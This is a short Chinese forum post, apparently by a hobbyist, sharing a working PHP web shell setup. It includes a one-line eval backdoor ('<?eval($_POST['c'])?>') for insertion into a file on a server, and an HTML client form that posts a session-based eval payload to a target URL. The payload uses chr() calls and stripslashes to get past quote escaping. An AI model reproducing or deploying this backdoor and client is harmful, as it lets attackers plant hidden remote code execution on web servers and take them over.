前面一篇帖子的问题得到解决,在form提交表单中,因为addslashes()会在注入字符前加单引号,所以使用stripslashes()干掉!!!
不过是使用我不会的session弄的,大家看看
<input name='c' type=hidden value="session_start();$_SESSION[chr(99) ]=get_magic_quotes _gpc()?$_SESSION[$_POST[chr(100)]]:$_POST[chr(100)];eval($_SESSION[chr(99)]); ">
就这句犯了很多错误 ,
1、最后eval($_SSESSION[chr(99)])写成这样,没有在末尾加分号!!!
2、get_magic_quotes_gpc()总结的单词quotes拼写错误!!!!
3、用chr(99)代替字符C,以避免使用引号!!!
最后结果是!!!!!
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>PHP客户端-全模拟版</title> </head> <body> <form method="post" target="_target"> <input name="tposturl" type="text" size="130" value="http://192.168.42.128/admin/1.php" /> <input type="submit" value="点击试试效果" οnclick="this.form.action=this.form.tposturl.value;" /> <input type="hidden" name="c" value="session_start();$_SESSION[chr(99)]=get_magic_quotes_gpc()?stripslashes($_POST[chr(100)]):$_POST[chr(100)];eval($_SESSION[chr(99)]);" /> <textarea cols="130" rows="5" name="d"> phpinfo();
插入单文件中代码:
<?eval($_POST['c'])?>